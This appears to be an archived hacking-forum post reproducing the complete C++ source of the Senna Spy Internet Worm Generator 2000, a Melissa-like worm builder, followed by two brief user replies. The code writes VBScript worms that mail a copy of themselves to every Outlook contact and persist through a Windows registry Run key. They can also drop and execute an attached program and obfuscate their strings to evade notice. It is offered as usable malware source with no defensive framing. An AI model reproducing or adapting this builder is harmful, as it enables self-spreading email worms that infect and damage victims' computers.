hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Nexcess
CODE


/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// geraworm.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////
//                                                      //
// Senna Spy Internet Worm Generator 2000               //
// --------------------------------------               //
//                                                      //
// Primeiro Gerador de Worms para Internet do Mundo!    //
// Gera o Source Code de um Worm em VBScript.           //
//                                                      //
// O Codigo gerado, podera ser inserido em um Codigo    //
// HTML ou executado diretamente com um Duplo-Clique.   //
//                                                      //
// Os Worms gerados, serao automaticamente enviados     //
// para todos os e-mails cadastrados no OutLook,        //
// ou seja, uma copia de si mesmo, sera anexada         //
// automaticamente, fazendo a contaminacao instantanea. //
//                                                      //
// O codigo trabalha como um "Virus Melissa-like".      //
//                                                      //
// History:                                             //
//                                                      //
//    Versao 1.0:  Sexta-Feira, 18 de Fevereiro de 2000 //
//    Versao 2.0:  Sabado,      21 de Outubro   de 2000 //
//                                                      //
//////////////////////////////////////////////////////////

#include <vcl.h>
#include "formmain.h"
#include "stdlib.h"
#include "stdio.h"

// Definicoes
#define  RAND_NOME_ROTINA_DECRIPTOGRAFIA  0
#define  RAND_ROTINA_DECRIPTOGRAFIA       1
#define  RAND_NOME_ROTINA_HEXA            2
#define  RAND_NOME_ARQUIVO_WORM           3

#define  TOTAL_ITENS                      3

// Variaveis Randomicas que Serao Usadas no Source do Worm
#define  RAND_VARIAVEL_01                 (      TOTAL_ITENS + 1 )
#define  RAND_VARIAVEL_02                 ( RAND_VARIAVEL_01 + 1 )
#define  RAND_VARIAVEL_03                 ( RAND_VARIAVEL_02 + 1 )
#define  RAND_VARIAVEL_04                 ( RAND_VARIAVEL_03 + 1 )
#define  RAND_VARIAVEL_05                 ( RAND_VARIAVEL_04 + 1 )
#define  RAND_VARIAVEL_06                 ( RAND_VARIAVEL_05 + 1 )
#define  RAND_VARIAVEL_07                 ( RAND_VARIAVEL_06 + 1 )
#define  RAND_VARIAVEL_08                 ( RAND_VARIAVEL_07 + 1 )
#define  RAND_VARIAVEL_09                 ( RAND_VARIAVEL_08 + 1 )
#define  RAND_VARIAVEL_10                 ( RAND_VARIAVEL_09 + 1 )
#define  RAND_VARIAVEL_11                 ( RAND_VARIAVEL_10 + 1 )
#define  RAND_VARIAVEL_12                 ( RAND_VARIAVEL_11 + 1 )
#define  RAND_VARIAVEL_13                 ( RAND_VARIAVEL_12 + 1 )
#define  RAND_VARIAVEL_14                 ( RAND_VARIAVEL_13 + 1 )
#define  RAND_VARIAVEL_15                 ( RAND_VARIAVEL_14 + 1 )
#define  RAND_VARIAVEL_16                 ( RAND_VARIAVEL_15 + 1 )
#define  RAND_VARIAVEL_17                 ( RAND_VARIAVEL_16 + 1 )

#define  RAND_TOTAL                       RAND_VARIAVEL_17
#define  RAND_GERAL                       ( TOTAL_ITENS + RAND_TOTAL + 1 )


//////////////////////////////////////////////////////////////////////////////////////
//                                                                                  //
// RAND_NOME_ROTINA_CRIPTOGRAFIA:                                                   //
//                                                                                  //
//    Nome da Rotina de Criptografia                                                //
//       - Maximo de 8 Caracteres - Somente Letras e Numeros                        //
//                                                                                  //
// RAND_ROTINA_CRIPTOGRAFIA:                                                        //
//                                                                                  //
//    Tipo de Rotina de Criptografia que Sera Usada na Criacao dos Sources do Worm: //
//       - 0 = Nenhuma Criptografia                                                 //
//       - 1 = Rotina String Normal Invertida                                       //
//       - 2 = Rotina ASC() + 1 Normal                                              //
//       - 3 = Rotina ASC() + 1 Invertida                                           //
//       - 4 = Rotina ASC() - 1 Normal                                              //
//       - 5 = Rotina ASC() - 1 Invertida                                           //
//                                                                                  //
// RAND_NOME_ARQUIVO_WORM:                                                          //
//                                                                                  //
//    Nome Randomico do Worm:                                                       //
//       - Maximo de 8 Caracteres - Somente Letras e Numeros                        //
//                                                                                  //
// RAND_VARIAVEL_01 a RAND_VARIAVEL_XX:                                             //
//                                                                                  //
//    Nome Randomico das Variaveis de Uso Geral do Worm                             //
//       - Maximo de 8 Caracteres - Somente Letras e Numeros                        //
//                                                                                  //
//////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
//                                                                            //
// GerarDadosRandomicos() - Gera os Dados Randomicos que Serao Usados no Worm //
//                                                                            //
////////////////////////////////////////////////////////////////////////////////

static void GerarDadosRandomicos( TStringList * MyRandomList )
{
   // Variaveis
   AnsiString cElemento;

   int nTamanho;

   int nLoop2;
   int nLoop;

   int nRand;

   // Cria Elementos Vazios
   for( nLoop = 0; nLoop < RAND_GERAL; nLoop ++ )
   {
        // Processa Eventos
        Application->ProcessMessages();

        // Somente para Itens Vazios
        if( MyRandomList->Strings[ nLoop ].IsEmpty() )
        {
            // Verifica se o Item a Ser Preenchido eh a Rotina de Criptografia
            if( nLoop == RAND_ROTINA_DECRIPTOGRAFIA )
            {
                // Escolhe o Tipo de Rotina de Criptografia - de 1 a 5
                do
                {
                   nRand = random( 6 );
                }
                while( nRand < 1 || nRand > 5 );

                // Define Qual Sera a Rotina de Decriptografia
                MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] = IntToStr( nRand );
            }
            // Para os Outros Elementos...
            else
            {
                // Obtem o Tamanho da Variavel
                do
                {
                   nTamanho = random( 9 );
                }
                while( nTamanho < 3 || nTamanho > 8 );

                // Obtem o Primeiro Caracter - Deve ser Letra
                do
                {
                   nRand = random( 91 );
                }
                while( nRand < 'A' || nRand > 'Z' );

                // Preenche Variavel
                cElemento = AnsiString( (char) nRand );

                // Gera Letra de Cada Variavel
                for( nLoop2 = 1; nLoop2 < nTamanho; nLoop2 ++ )
                {
                     // Obtem Letras e Numeros Somente
                     while( true )
                     {
                        nRand = random( 91 );

                        // Somente Caracteres Validos
                        if( ( nRand >= '0' && nRand <= '9' ) ||
                            ( nRand >= 'A' && nRand <= 'Z' ) )
                        {
                            break;
                        }
                     }

                     // Preenche Elemento
                     cElemento = cElemento + AnsiString( (char) nRand );
                }

                // Nao Podem Existir Elementos Repetidos...
                if( MyRandomList->IndexOf( cElemento ) == -1 )
                    MyRandomList->Strings[ nLoop ] = cElemento;
                else
                    GerarDadosRandomicos( MyRandomList );
            }
        }
   }
}


//////////////////////////////////////////
//                                      //
// Criptografa() - Criptografa os Dados //
//                                      //
//////////////////////////////////////////

AnsiString Criptografa( TStringList * MyRandomList, char * cDados )
{
  AnsiString cNovosDados = "";

  unsigned int nLoop;

  // Verifica a Rotina de Criptografia
  if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "0" )
  {
      return( "\"" + AnsiString( cDados ) + "\"" );
  }
  // Rotina Tipo 1 - String Normal Invertida
  else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "1" )
  {
      for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
           cNovosDados = AnsiString( (char) cDados[ nLoop ] ) + cNovosDados;
  }
  // Rotina Tipo 2 - Rotina ASC()+1 - Normal
  else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "2" )
  {
      for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
           cNovosDados = cNovosDados + AnsiString( (char) (cDados[ nLoop ] + 1) );
  }
  // Rotina Tipo 3 - Rotina ASC()+1 - Invertida
  else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "3" )
  {
      for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
           cNovosDados = AnsiString( (char) (cDados[ nLoop ] + 1) ) + cNovosDados;
  }
  // Rotina Tipo 4 - Rotina ASC()-1 - Normal
  else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "4" )
  {
      for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
           cNovosDados = cNovosDados + AnsiString( (char) (cDados[ nLoop ] - 1) );
  }
  // Rotina Tipo 5 - Rotina ASC()-1 - Invertida
  else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "5" )
  {
      for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
           cNovosDados = AnsiString( (char) (cDados[ nLoop ] - 1) ) + cNovosDados;
  }

  // Retorno
  return( MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] + "( \"" + cNovosDados + "\" )" );
}


//////////////////////////////////////////////////
//                                              //
// GeraWormVBScript() - Gera o Worm em VBScript //
//                                              //
//////////////////////////////////////////////////

void GeraWormVBScript( AnsiString cArquivo )
{
  // Variaveis para Controle do Outlook
  AnsiString OL01, OL02, OL03, OL04, OL05;
  // Variaveis para Controle da Criptografia
  AnsiString CR01, CR02, CR03, CR04;
  // Variaveis para Controle do Registry
  AnsiString RG01, RG02;
  // Variaveis para Controle do Arquivo (File Join)
  AnsiString AR01, AR02, AR03;
  // Variaveis para Controle da Rotina de Conversao Hexa
  AnsiString HE01, HE02, HE03;

  AnsiString WORM;

  FILE * fArquivo;

  unsigned int nLoop;
  int nLoop2;

  // Criar Lista
  TStringList * MyRandomList = new TStringList();

     // Cria Elementos Vazios
     for( nLoop = 0; nLoop < RAND_GERAL; nLoop ++ )
          MyRandomList->Add( "" );

     // Verifica a Rotina de Criptografia
     if( FormWorm->CheckBoxCrypt->Checked )
     {
         // Gera os Dados Randomicos
         GerarDadosRandomicos( MyRandomList );
     }
     else
     {
         MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] = "DECRYPT";
         MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA      ] = "0";
         MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA           ] = "HEXACONV";
         MyRandomList->Strings[ RAND_NOME_ARQUIVO_WORM          ] = "SENNASPY";

         MyRandomList->Strings[ RAND_VARIAVEL_01                ] = "OL01";
         MyRandomList->Strings[ RAND_VARIAVEL_02                ] = "OL02";
         MyRandomList->Strings[ RAND_VARIAVEL_03                ] = "OL03";
         MyRandomList->Strings[ RAND_VARIAVEL_04                ] = "OL04";
         MyRandomList->Strings[ RAND_VARIAVEL_05                ] = "OL05";
         MyRandomList->Strings[ RAND_VARIAVEL_06                ] = "CR01";
         MyRandomList->Strings[ RAND_VARIAVEL_07                ] = "CR02";
         MyRandomList->Strings[ RAND_VARIAVEL_08                ] = "CR03";
         MyRandomList->Strings[ RAND_VARIAVEL_09                ] = "CR04";
         MyRandomList->Strings[ RAND_VARIAVEL_10                ] = "RG01";
         MyRandomList->Strings[ RAND_VARIAVEL_11                ] = "RG02";
         MyRandomList->Strings[ RAND_VARIAVEL_12                ] = "AR01";
         MyRandomList->Strings[ RAND_VARIAVEL_13                ] = "AR02";
         MyRandomList->Strings[ RAND_VARIAVEL_14                ] = "AR03";
         MyRandomList->Strings[ RAND_VARIAVEL_15                ] = "HE01";
         MyRandomList->Strings[ RAND_VARIAVEL_16                ] = "HE02";
         MyRandomList->Strings[ RAND_VARIAVEL_17                ] = "HE03";
     }

     // Criar Lista
     TStringList * MyList = new TStringList();

        // Obtem os Nomes das Variaveis Randomicas
        OL01 = MyRandomList->Strings[ RAND_VARIAVEL_01 ];
        OL02 = MyRandomList->Strings[ RAND_VARIAVEL_02 ];
        OL03 = MyRandomList->Strings[ RAND_VARIAVEL_03 ];
        OL04 = MyRandomList->Strings[ RAND_VARIAVEL_04 ];
        OL05 = MyRandomList->Strings[ RAND_VARIAVEL_05 ];

        CR01 = MyRandomList->Strings[ RAND_VARIAVEL_06 ];
        CR02 = MyRandomList->Strings[ RAND_VARIAVEL_07 ];
        CR03 = MyRandomList->Strings[ RAND_VARIAVEL_08 ];
        CR04 = MyRandomList->Strings[ RAND_VARIAVEL_09 ];

        RG01 = MyRandomList->Strings[ RAND_VARIAVEL_10 ];
        RG02 = MyRandomList->Strings[ RAND_VARIAVEL_11 ];

        AR01 = MyRandomList->Strings[ RAND_VARIAVEL_12 ];
        AR02 = MyRandomList->Strings[ RAND_VARIAVEL_13 ];
        AR03 = MyRandomList->Strings[ RAND_VARIAVEL_14 ];

        HE01 = MyRandomList->Strings[ RAND_VARIAVEL_15 ];
        HE02 = MyRandomList->Strings[ RAND_VARIAVEL_16 ];
        HE03 = MyRandomList->Strings[ RAND_VARIAVEL_17 ];

        WORM = MyRandomList->Strings[ RAND_NOME_ARQUIVO_WORM ] + ".VBS";

        // Cria o Worm
        MyList->Add( "On Error Resume Next" );

        // Declaracao de Variaveis
        if( FormWorm->CheckBoxOutlook->Checked )
        {
            MyList->Add( "" );
            MyList->Add( "Dim " + OL01 + ", " +
                                  OL02 + ", " +
                                  OL03 + ", " +
                                  OL04 + ", " +
                                  OL05 );
        }

        if( FormWorm->CheckBoxRegistry->Checked )
        {
            MyList->Add( "" );
            MyList->Add( "Dim " + RG01 + ", " +
                                  RG02 );
        }

        if( ! FormWorm->PanelJoinFile->Caption.IsEmpty() )
        {
            MyList->Add( "" );
            MyList->Add( "Dim " + AR01 + ", " +
                                  AR02 + ", " +
                                  AR03 );
        }

        // Parte do Codigo para Inicializacao pelo Registry
        if( FormWorm->CheckBoxRegistry->Checked )
        {
            MyList->Add( "" );
            MyList->Add( "Set " + RG01 + " = CreateObject( " + Criptografa( MyRandomList, "Scripting.FileSystemObject" ) + " )" );

            MyList->Add( RG01 + ".CopyFile WScript.ScriptFullName, " +
                         RG01 + ".BuildPath( " +
                         RG01 + ".GetSpecialFolder(" +
                         IntToStr( FormWorm->RadioGroupWorm->ItemIndex ) +
                         "), " +
                         Criptografa( MyRandomList, WORM.c_str() ) +
                         " )" );

            MyList->Add( "" );
            MyList->Add( "Set " + RG02 + " = CreateObject( " + Criptografa( MyRandomList, "WScript.Shell" ) + " )" );

            MyList->Add( RG02 + ".RegWrite " +
                         Criptografa( MyRandomList, "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\" ) +
                         " & " +
                         Criptografa( MyRandomList, MyRandomList->Strings[ RAND_NOME_ARQUIVO_WORM ].c_str() ) +
                         ", " +
                         RG01 + ".BuildPath( " + RG01 + ".GetSpecialFolder(" + IntToStr( FormWorm->RadioGroupWorm->ItemIndex ) +
                         "), " +
                         Criptografa( MyRandomList, WORM.c_str() ) +
                         " )" );
        }

        // Parte de Criacao do Arquivo
        if( ! FormWorm->PanelJoinFile->Caption.IsEmpty() )
        {
            MyList->Add( "" );
            MyList->Add( "Set " + AR01 + " = CreateObject( " + Criptografa( MyRandomList, "Scripting.FileSystemObject" ) + " )" );

            MyList->Add( "Set " + AR02 + " = " +
                                  AR01 + ".CreateTextFile( " +
                                  AR01 + ".BuildPath( " +
                                  AR01 + ".GetSpecialFolder(" +
                                  IntToStr( FormWorm->RadioGroupExecutable->ItemIndex ) +
                                  "), " +
                                  Criptografa( MyRandomList, ExtractFileName( FormWorm->PanelJoinFile->Caption ).c_str() ) +
                                  " ), True )" );
            MyList->Add( "" );

            // Faz a Abertura do Arquivo
            if( ( fArquivo = fopen( FormWorm->OpenDialog1->FileName.c_str(), "rb" ) ) == NULL )
            {
                ShowMessage( "Read file error !" );
            }
            else
            {
                AnsiString cString;

                int nContador = 0;
                int nCaracter;

                // Faz a Leitura de Todo o Arquivo
                while( ! feof( fArquivo ) )
                {
                   // Obtem o Caracter
                   nCaracter = fgetc( fArquivo );

                   // Converte Estrutura do Arquivo para Hexa
                   if( nCaracter != EOF )
                       cString = cString + IntToHex( nCaracter, 2 );

                   // Se Ultrapassou 40 Caracteres ou Fim-de-Arquivo...
                   if( ++ nContador > 40 || feof( fArquivo ) )
                   {
                       // Grava Linha
                       MyList->Add( AR02 +
                                    ".Write( " +
                                    MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] +
                                    "( " +
                                    Criptografa( MyRandomList, cString.c_str() ) +
                                    " ) )" );

                       // Inicializa Variaveis
                       cString   = "";
                       nContador = 0;
                   }
                }

                // Fecha Arquivo
                fclose( fArquivo );
            }

            MyList->Add( AR02 + ".Close" );

            // Executar Arquivo ?
            if( FormWorm->CheckBoxRunFile->Checked )
            {
                MyList->Add( "" );
                MyList->Add( "Set " + AR03 + " = CreateObject( " + Criptografa( MyRandomList, "WScript.Shell" ) + " )" );
                MyList->Add( AR03 + ".Run( " +
                             AR01 + ".BuildPath( " +
                             AR01 + ".GetSpecialFolder(" +
                             IntToStr( FormWorm->RadioGroupExecutable->ItemIndex ) +
                             "), " +
                             Criptografa( MyRandomList, ExtractFileName( FormWorm->PanelJoinFile->Caption ).c_str() ) +
                             " ) )" );
            }
        }

        // Parte do Codigo para Outlook
        if( FormWorm->CheckBoxOutlook->Checked )
        {
            MyList->Add( "" );
            MyList->Add( "Set " + OL01 + " = CreateObject( " + Criptografa( MyRandomList, "Outlook.Application" ) + " )" );
            MyList->Add( "Set " + OL02 + " = " + OL01 + ".GetNameSpace( " + Criptografa( MyRandomList, "MAPI" ) + " )" );
            MyList->Add( "" );
            MyList->Add( "For Each " + OL03 + " In " + OL02 + ".AddressLists" );
            MyList->Add( "    For " + OL04 + " = 1 To " + OL03 + ".AddressEntries.Count" );
            MyList->Add( "        Set " + OL05 + " = " + OL01 + ".CreateItem( 0 )" );
            MyList->Add( "" );
            MyList->Add( "        " + OL05 + ".BCC = " + OL03 + ".AddressEntries( " + OL04 + " ).Address" );
            MyList->Add( "" );
            MyList->Add( "        " + OL05 + ".Subject = " + Criptografa( MyRandomList, FormWorm->EditSubject->Text.Trim().c_str() ) );
            MyList->Add( "        " + OL05 + ".Body = " + Criptografa( MyRandomList, FormWorm->MemoMessage->Lines->Text.Trim().c_str() ) );
            MyList->Add( "        " + OL05 + ".Attachments.Add WScript.ScriptFullName" );
            MyList->Add( "        " + OL05 + ".DeleteAfterSubmit = True" );
            MyList->Add( "        " + OL05 + ".Send" );
            MyList->Add( "    Next" );
            MyList->Add( "Next" );
        }

        // Somente se a Opcao de Arquivos (File Join) Estiver Selecionada
        if( ! FormWorm->PanelJoinFile->Caption.IsEmpty() )
        {
            MyList->Add( "" );
            MyList->Add( "Function " + MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] + "( " + HE01 + " )" );
            MyList->Add( "   Dim " + HE02 );
            MyList->Add( "   Dim " + HE03 );
            MyList->Add( "" );
            MyList->Add( "   " + HE02 + " = \"\"" );
            MyList->Add( "" );
            MyList->Add( "   For " + HE03 + " = 1 To Len( " + HE01 + " ) Step 2" );
            MyList->Add( "       " + HE02 + " = " + HE02 + " & Chr( \"&h\" & Mid( " + HE01 + ", " + HE03 + ", 2 ) )" );
            MyList->Add( "   Next" );
            MyList->Add( "" );
            MyList->Add( "   " + MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] + " = " + HE02 );
            MyList->Add( "End Function" );
        }

        // Somente se a Opcao de Criptografia Estiver Selecionada
        if( FormWorm->CheckBoxCrypt->Checked )
        {
            MyList->Add( "" );
            MyList->Add( "Function " + MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] + "( " + CR01 + " )" );
            MyList->Add( "   Dim " + CR02 );
            MyList->Add( "   Dim " + CR03 );
            MyList->Add( "   Dim " + CR04 );
            MyList->Add( "" );
            MyList->Add( "   " + CR02 + " = \"\"" );
            MyList->Add( "" );
            MyList->Add( "   For " + CR03 + " = 1 To Len( " + CR01 + " )" );
            MyList->Add( "       " + CR04 + " = Mid( " + CR01 + ", " + CR03 + ", 1 )" );
            MyList->Add( "" );

            // Rotina Tipo 1 - String Normal Invertida
            if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "1" )
            {
                MyList->Add( "       " + CR02 + " = " + CR04 + " & " + CR02 );
            }
            // Rotina Tipo 2 - Rotina ASC()+1 - Normal
            else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "2" )
            {
                MyList->Add( "       " + CR02 + " = " + CR02 + " & Chr( Asc( " + CR04 + " ) - 1 )" );
            }
            // Rotina Tipo 3 - Rotina ASC()+1 - Invertida
            else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "3" )
            {
                MyList->Add( "       " + CR02 + " = Chr( Asc( " + CR04 + " ) - 1 ) & " + CR02 );
            }
            // Rotina Tipo 4 - Rotina ASC()-1 - Normal
            else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "4" )
            {
                MyList->Add( "       " + CR02 + " = " + CR02 + " & Chr( Asc( " + CR04 + " ) + 1 )" );
            }
            // Rotina Tipo 5 - Rotina ASC()-1 - Invertida
            else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "5" )
            {
                MyList->Add( "       " + CR02 + " = Chr( Asc( " + CR04 + " ) + 1 ) & " + CR02 );
            }

            MyList->Add( "   Next" );
            MyList->Add( "" );
            MyList->Add( "   " + MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] + " = " + CR02 );
            MyList->Add( "End Function" );
        }

        // NAO Alinhar Codigo ?
        if( ! FormWorm->CheckBoxAlign->Checked )
        {
            // Remove Espacos do Inicio e Fim de Cada Linha
            for( nLoop2 = 0; nLoop2 < MyList->Count; nLoop2 ++ )
                 MyList->Strings[ nLoop2 ] = MyList->Strings[ nLoop2 ].Trim();

            // Remove Linhas em Branco
            for( nLoop2 = MyList->Count - 1; nLoop2 >= 0; nLoop2 -- )
            {
                 if( MyList->Strings[ nLoop2 ].IsEmpty() )
                     MyList->Delete( nLoop2 );
            }
        }

        // Gravar o Source do Worm
        MyList->SaveToFile( cArquivo );

     // Libera Memoria
     delete MyList;

  // Libera Memoria
  delete MyRandomList;
}
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// geraworm.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// formmain.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop

void GeraWormVBScript( AnsiString cArquivo );

#include "formmain.h"
#include "shellapi.h"
#include "stdlib.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TFormWorm *FormWorm;

AnsiString cPanelTitulo1;
AnsiString cPanelTitulo2;
AnsiString cPanelTitulo3;

AnsiString cCheckCrypt;

AnsiString cEditWormName;
AnsiString cEditSubject;
AnsiString cEditMessage;

AnsiString cLabelWormName;
AnsiString cLabelSubject;
AnsiString cLabelMessage;

AnsiString cBotaoSair;
AnsiString cBotaoCriar;

//---------------------------------------------------------------------------
__fastcall TFormWorm::TFormWorm(TComponent* Owner)
       : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TFormWorm::FormCreate(TObject *Sender)
{
  randomize();

  cPanelTitulo1     = FormWorm->PanelTitulo1->Caption;

  FormWorm->Caption = cPanelTitulo1;

  cCheckCrypt       = FormWorm->CheckBoxCrypt->Caption;

  cEditWormName     = FormWorm->EditWormName->Text;
  cEditSubject      = FormWorm->EditSubject->Text;
  cEditMessage      = FormWorm->MemoMessage->Lines->Text;

  cLabelWormName    = FormWorm->LabelWormName->Caption;
  cLabelSubject     = FormWorm->LabelSubject->Caption;
  cLabelMessage     = FormWorm->LabelMessage->Caption;

  cBotaoSair        = FormWorm->BotaoSair->Caption;
  cBotaoCriar       = FormWorm->BotaoCriar->Caption;
}
void __fastcall TFormWorm::BotaoSairClick(TObject *Sender)
{
  Application->Terminate();
}
//---------------------------------------------------------------------------
void __fastcall TFormWorm::BotaoCriarClick(TObject *Sender)
{
  // Forcar Posicionamento do Diretorio Destino ?
  if( RadioGroupWorm->Visible == false )
      RadioGroupWorm->ItemIndex = 0;

  // Gera Arquivo
  GeraWormVBScript( "yourworm.txt.vbs" );

  // Apresenta Mensagem
  ShowMessage( "Worm = 'YOURWORM.TXT.VBS' generated !" );

  // Finaliza Aplicacao
  Application->Terminate();
}
//---------------------------------------------------------------------------
void __fastcall TFormWorm::BotaoJoinFileClick(TObject *Sender)
{
   if( ! OpenDialog1->Execute() )
       return;

   PanelJoinFile->Caption = OpenDialog1->FileName;

   if( PanelJoinFile->Caption.IsEmpty() )
   {
       CheckBoxRunFile->Visible      = false;
       CheckBoxRunFile->Checked      = false;
       RadioGroupExecutable->Visible = false;
   }
   else
   {
       CheckBoxRunFile->Visible       = true;
       RadioGroupExecutable->Visible  = true;
   }
}
//---------------------------------------------------------------------------

void __fastcall TFormWorm::CheckBoxOutlookClick(TObject *Sender)
{
   LabelSubject->Enabled = CheckBoxOutlook->Checked;
   LabelMessage->Enabled = CheckBoxOutlook->Checked;

   EditSubject->Enabled  = CheckBoxOutlook->Checked;
   MemoMessage->Enabled  = CheckBoxOutlook->Checked;
}
//---------------------------------------------------------------------------

void __fastcall TFormWorm::CheckBoxRegistryClick(TObject *Sender)
{
   RadioGroupWorm->Visible = CheckBoxRegistry->Checked;
}
//---------------------------------------------------------------------------

void __fastcall TFormWorm::ButtonClearClick(TObject *Sender)
{
   OpenDialog1->FileName = "";    

   PanelJoinFile->Caption = "";

   RadioGroupExecutable->Visible = false;

   CheckBoxRunFile->Visible = false;
   CheckBoxRunFile->Checked = false;
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// formmain.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
///////////////////////////////// formain.h /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//---------------------------------------------------------------------------
#ifndef formmainH
#define formmainH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <Dialogs.hpp>
//---------------------------------------------------------------------------
class TFormWorm : public TForm
{
__published: // IDE-managed Components
       TPanel *PanelTitulo1;
       TButton *BotaoSair;
       TGroupBox *GroupBox1;
       TLabel *LabelWormName;
       TEdit *EditWormName;
       TLabel *LabelSubject;
       TEdit *EditSubject;
       TLabel *LabelMessage;
   TCheckBox *CheckBoxCrypt;
       TButton *BotaoCriar;
   TCheckBox *CheckBoxOutlook;
   TCheckBox *CheckBoxAlign;
   TOpenDialog *OpenDialog1;
   TButton *BotaoJoinFile;
   TCheckBox *CheckBoxRunFile;
   TRadioGroup *RadioGroupWorm;
   TCheckBox *CheckBoxRegistry;
   TPanel *Panel1;
   TMemo *MemoMessage;
   TPanel *PanelJoinFile;
   TRadioGroup *RadioGroupExecutable;
   TButton *ButtonClear;
       void __fastcall FormCreate(TObject *Sender);
       void __fastcall BotaoSairClick(TObject *Sender);
       void __fastcall BotaoCriarClick(TObject *Sender);
   void __fastcall BotaoJoinFileClick(TObject *Sender);
   void __fastcall CheckBoxOutlookClick(TObject *Sender);
   void __fastcall CheckBoxRegistryClick(TObject *Sender);
   void __fastcall ButtonClearClick(TObject *Sender);
private: // User declarations
public:  // User declarations
       __fastcall TFormWorm(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TFormWorm *FormWorm;
//---------------------------------------------------------------------------
#endif
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////// formain.h /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
////////////////////////////////  ssiwg.cpp /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
USERES("ssiwg.res");
USEFORM("formmain.cpp", FormWorm);
USEUNIT("geraworm.cpp");
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
       try
       {
                Application->Initialize();
                Application->CreateForm(__classid(TFormWorm), &FormWorm);
                Application->Run();
       }
       catch (Exception &exception)
       {
                Application->ShowException(&exception);
       }
       return 0;
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////////////////
////////////////////////////////  ssiwg.cpp /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
///////////////////////////////// ssiwg.brp /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
# ---------------------------------------------------------------------------
!if !$d(BCB)
BCB = $(MAKEDIR)\..
!endif

# ---------------------------------------------------------------------------
# IDE SECTION
# ---------------------------------------------------------------------------
# The following section of the project makefile is managed by the BCB IDE.
# It is recommended to use the IDE to change any of the values in this
# section.
# ---------------------------------------------------------------------------

VERSION = BCB.04.04
# ----------------------------
zero-maitimax
didn't know that senna want this to be a opensource...
Eyeless
Maybe they dont..... but regardless I got it. Thanks for sharing, but if you wernt suppose to shame on you! mad.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.